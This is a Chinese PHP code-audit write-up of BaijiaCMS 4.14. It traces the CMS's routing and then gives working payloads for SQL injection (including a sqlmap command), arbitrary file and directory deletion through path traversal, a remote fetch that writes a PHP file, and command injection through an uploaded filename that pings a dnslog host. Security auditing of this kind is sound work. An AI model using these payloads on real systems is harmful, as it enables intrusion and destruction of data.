[php-代码审计]通读百家cms4.14

  • cms目录结构
  • 先看是否存在install重装漏洞
  • 看一下index.php正常流程
  • article模块,存在sql注入
  • util模块存在前台任意文件删除
  • manager模块任意文件夹删除
  • public模块远程文件写入
  • weixin模块命令执行

cms目录结构

addons----插件文件夹
api ---- 接口文件夹
assets—资源文件夹(前端资源,不太重要)
attachment----附件(上传文件存储的文件夹)
cache----缓存文件夹
config----网站配置文件夹
includes----cms结构框架
system----核心文件夹(后端文件)

先看是否存在install重装漏洞

虽然这个漏洞很难遇到了,但还是可以看一波的,毕竟以前挖src时还遇到过一次,最后竟然只给了中危,当黑奴了

代码很简单,写死判断是否存在/config/install.link文件,存在则跳到index.php,然后exit,直接不存在漏洞,无

看一下index.php正常流程


第一段就是判断是否安装过,直接略过
下面就是判断是否定义了systen_act,并且是否为mobile,否则定义$mod=mobile
下面都是判断是否传递了参数,设置参数默认值等
最后则是使用了ob_start,包含includes/baijiacms.php文件

知识点:
defined()是判断是否定义了常量,define是定义常量,一旦定义编不可更改,全局使用
or 如果or 前的判断为真则不执行or后面的判断
ob_start()是打开缓冲区
当ob_start()参数为system时,可执行rce,栗子:ob_start(“system”);echo “whoami”;ob_end_flush();

includes/baijiacms.php文件

开头就是判断是否定义了system_act或lock_to_install。否则停止运行打印access denied
作用就是不能直接访问该文件
定义的就不说了
这里获取网站路径(不带参)并赋值给$document_root,替换$document_root中的’//‘为’/',并判断最后一个字符是否为‘/’,不是的话添加一个‘/’
当访问url为:http://baijia.com/aaa/bbb/test.php?a=111时,此时$document_root为/aaa/bbb/test.php/
第51行判断是否开启了magic_quotes_gpc 或者magic_quotes_sybase
知识点:
magic-quotes_gpc(魔术引号,对外部输入的特殊字符均会添反斜杠),magic_quotes_sybase仅会对%0a转义成\0,其余不变,当两者同时开启时,单引号会转义成两个单引号( ’ => ‘’ ),%0a变成\0;双引号和反斜杠不变

再往下看,发现这样一段代码,判断是否magic_quotes_gpc(就是上面的值),开启的话,非数组的参数则去掉通过 由addslashes() 函数添加的反斜杠,实际效果是:不是通过addslashes() 函数添加的反斜杠也会删除,双反斜杠则可以保留一个(必须是连续的)

这里则是html实例化

往下看,可由参数名知m、act参数控制的是模块,同时do、m、act三个参数不能同时为空

下面则是又包含了一堆文件

mysql.lnc.php是数据库账号密码
common.inc.php、setting.inc.php、init.inc.php、user.inc.php、auth.inc.php、weixin.php则是定义了一些函数和网站信息
直接略过
extends.inc.php

mod参数是控制器
通过http头:HTTP_X_REQUESTED_WITH是否等于xmlhttprequest来判断是否为ajax请求

runner.inc.php是控制路由的文件,需要好好看看,mvc中一定要先找路由


第一个if是判断是否是eshop模块,CMS[′beid′]也是传递的参数,传递到_CMS['beid']也是传递的参数,传递到C​MS[′beid′]也是传递的参数,传递到_CMS的,我们主要还是找通用的路由,继续往下看
判断要访问的是不是插件,这里可以明显看到主要路由文件就是/system/common/monile.php,和各个模块下的mobile.php文件,($modulename是通过url传递的参数值)

可以看到当没有传递isaddon时,do参数控制的是类中方法,方法名为:do_$GP[‘do’]
看一下 /system/common/monile.php 发现里面主要判断是否登录了,并获取登录用户的信息
接下来看各个模块下的mobile.php文件,这里文件应该都是通用的,随便找一个看看

可以看到,这里根据方法名又去调用system/common/mobile.php文件中的_ mobile2()方法,( FUNCTION 是获取本身方法名,既function do_index(){}时, FUNCTION 等于 do_index)

可以看到 有去包含各个模块下的/class/mobile/{去掉"do
"调用的方法名}.php文件
插件路由也是差不多的,就不说了

路由总结:

因为有:defined(‘SYSTEM_IN’) or exit(‘Access Denied’);
这些控制器文件不能直接访问,需要通过index.php文件调用
index.php?mod=mobile&m=public&do=index&beid=1&isaddons=1 beid是店铺id isaddons判断是否是插件,可选 mod判断模块类型,默认为mobile,m为模块名,do为控制器
当mod=mobile时,控制器文件在system/模块名/class/mobile/下
当mod != mobile时,控制器文件在system/模块名/class/web/下
当isaddons有传值时,控制器文件在/addons/模块名/class/mobile || web/下
其实看一看网站的URL,相应的路由也能猜出来

article模块,存在sql注入

发现article/class/wb/article.php这里存在直接将keyword参数拼接到sql语句中,没有绑定参数

$select_title = (empty($_GPC['keyword']) ? '' : ' and a.article_title LIKE \'%' . $_GPC['keyword'] . '%\' ');
$page = (empty($_GPC['page']) ? '' : $_GPC['page']);
$pindex = max(1, intval($page));
$psize = 20;
$articles = pdo_fetchall('SELECT a.id,a.displayorder,a.article_readnum_v,a.article_likenum_v,a.article_date_v, a.article_title,a.article_category,a.article_date,a.article_readnum,a.article_likenum,a.article_state,c.category_name FROM ' . tablename('eshop_article') . ' a left join ' . tablename('eshop_article_category') . ' c on c.id=a.article_category  WHERE a.uniacid= :uniacid ' . $select_title . $select_category . ' order by displayorder desc,article_date desc LIMIT ' . (($pindex - 1) * $psize) . ',' . $psize, array(':uniacid' => $_W['uniacid']));



心想这很明显不注入吗,这个参数没有进行预处理
直接%’ or 1=1#不行
发现是这个的问题,这里他对('、“、<、>、&)这五个符号进行转义

先将过滤语句注释,看看是否存在漏洞(好吧,其实是我不会绕,char(39)也闭合不掉)

直接sqlmap一把梭,sqlmap命令为:python sqlmap.py -u “http://ip/index.php?mod=site&do=article&act=article&op=display&token=&keyword=” -p keyword --cookie=”",因为这里是后台注入,所以需要cookies,sqlmap会询问语句可能错误,直接y就行了
存在漏洞,又在eshop前台找到一处无引号sql注入
http://ip/index.php?m=eshop&do=shop&mod=mobile&act=cart&op=tofavorite&ids[]=1,2),要post方式,ids是数组参数,添加heart请求头:x-requested-with: xmlhttprequest,即可前台sql 注入,只要直接拼接都存在sql注入,后面不在找sql注入了

util模块存在前台任意文件删除

该模块是前台文件上传后文件删除的,很遗憾,文件上传使用了白名单,除非有解析漏洞或者00截断否者利用不了
这里发现直接获取传递过来的$file的值,直接调用file_delete函数

跟进,发现这里有进行一个全局配置检查,通过执行这个脚本,发现默认是直接进入else语句的,很明显,这里存在任意文件删除,只要调用这个函数都存在任意文件删除,这里是前台,还有个后台也调用了这个函数

这里删除的文件位置是:/attachment/下,在根目录下创建test.txt文件,访问http://49.235.112.221:8081/index.php?m=eshop&do=util&mod=mobile&act=uploader&op=remove&file=/…/test.txt,发现test.txt已被删除

manager模块任意文件夹删除

访问
http://ip/index.php
?m=manager&do=database&mod=site&op=delete&id=Ly4uLy4uL3Rlc3Qv
;id是base64编码的

public模块远程文件写入

文件位于:system/public/class/web/file.php,获取url参数传递过来的值

文件后缀为url文件的后缀,所以这里文件必须是php文件,文件内容通过file_get_contents获取

url为:http://ip/index.php?mod=site&act=public&do=file&op=fetch&url=http://ip/b.php
http://ip/b.php文件内容为:

<?php echo '<?php phpinfo();?>' ?>

上传成功:

weixin模块命令执行

需要将图片压缩开启,因为有判断是否开启,不开启则进入不到存在漏洞的函数

当上传文件类型为txt时进入执行存在漏洞的函数

可以看之,直接将文件名拼接到了system()的参数中了,如果文件名有闭合可执行的命令时可造成rce

上传文件名称为:&ping aaaa.7df78136.dns.1433.eu.org.&.txt

成功在dnslog上执行命令成功,记得别禁用system函数

[php-代码审计]百家cms4.14相关推荐

  1. PHP代码审计--百家CMS4.1.4项目实战(下)

    PHP代码审计--百家CMS4.1.4项目实战(下) 这是百家cms的第二部分-代码审计 关于百家cms的安装配置及黑盒测试,可以参考上一篇文章: PHP代码审计--百家CMS4.1.4项目实战(上) ...

  2. PHP代码审计--百家CMS4.1.4项目实战(上)

    PHP代码审计--百家CMS4.1.4项目实战(上) 前提: 最近工作有点闲,就想着开始拓展技能了,学一下代码审计,入门就从php开始吧.这个百家CMS项目,我分为两部分测试,一.是渗透测试纯黑盒测试 ...

  3. 代码审计之百家cms

    文章目录 前言 一.本地项目部署 二.漏洞挖掘 1.准备 2.存储型XSS 3.SQL注入 4.任意路径删除 5.任意文件删除 6.远程文件上传 7.命令执行 三.总结 前言 百家cms微商城是一款免 ...

  4. 【百家稷学】图像识别,模型设计,人脸图像,摄影图像直播回放与资料下载(有三的书直播分享)...

    继续咱们百家稷学专题,本次汇总有三AI联合出版社等各个平台分享的有关言有三的4本书相关的直播回放与资料下载,百家稷学的目标,是走进100所高校和企业进行学习和分享. 深度学习之图像识别 本次主题是结合 ...

  5. 二次开发手册——百家CMS微商城说明文档(5)

    系统目录结构 百家cms微商城最新版本可以在官方网站(http://bbs.baijiacms.com 官网目前已无法访问). 把下载后的压缩文件解压到你的WEB目录(或者任何目录都可以),框架的目录 ...

  6. 看完《百家讲坛》之后的108个经典“留言”

    1.孔子:快把<百家讲坛>的电话告诉我,我要亲自讲! 2.孟子:也该我出场了吧! 3.老子:道可道,非常道.录节目干嘛? 4.庄子:录节目?有我现在快活吗? 5.函谷关令尹:诸位能看< ...

  7. 2018年(第17届)中国软件业务收入前百家企业名单

    2018年(第17届)中国软件业务收入前百家企业名单 发布时间:2018-11-07  来源:运行监测协调局 序号 企业名称 1 华为技术有限公司 2 中兴通讯股份有限公司 3 海尔集团公司 4 中国 ...

  8. 百家号室内设计行业粉丝数量统计(2019.12.24)

    百家号 粉丝 淄博设计师陈行知 18524 设计本室内设计 13008 室内设计姐 10248 室内设计全解 9303 叮当手绘 8395 家居室内设计 3903 室内设计案例赏析 3603 室内设计 ...

  9. [百家号]大英帝国的人口和面积比现在的英国大多少?

    大英帝国的人口和面积比现在的英国大多少? https://baijiahao.baidu.com/s?id=1591268022774822935&wfr=spider&for=pc ...

最新文章

  1. 14条改善jquery代码的建议
  2. wxWidgets:wxEventFilter类用法
  3. mysql inception web_基于Inception搭建MySQL SQL审核平台Yearing
  4. apiCloud中的API对象
  5. 奖金(拓补排序的应用)
  6. .net操作xml小结 (转)
  7. mysql57包解压安装_mysql5.7解压包安装教程
  8. 国产平板面临变局挑战,谁能撑起民族大旗?
  9. Grunt构建工具能做哪些事?
  10. Python打包文件夹(zip/tar/tar.gz)
  11. 16 寸MacBook Pro比14 寸风扇更强大,更耐用
  12. Express 4.x Node.js的Web框架----《转载》
  13. pythom打包文件太大_PDF太大,不让上传怎么办?教你1分钟将100M的PDF变成10M
  14. Android 版本检测更新
  15. php小米官网,小米商城的首页
  16. unity3d kinect体感互动解决方案——2D体感换装
  17. Ron Patton之《软件测试》书籍(原书第2版)书籍
  18. 电感的阻抗-频率曲线
  19. 微星主板rgb_微星10款B550主板集体发布:标配PCIe 4.0、支持Zen3
  20. rax Picture组件

热门文章

  1. 如何核算一个软件开发项目的成本?
  2. location选择收货地址
  3. 截取含有中文、Emoji表情、特殊符号的字符串
  4. 简单三步实现给公众号添加附件
  5. iOS开发 ☞ emoji表情大全
  6. 如何在cmd命令行窗口打开QQ
  7. 线性方程组数值解法(2)
  8. 嵌入式应用软件任务划分的原则
  9. 判断手机是否支持google play服务
  10. QQ来信息突然没声音了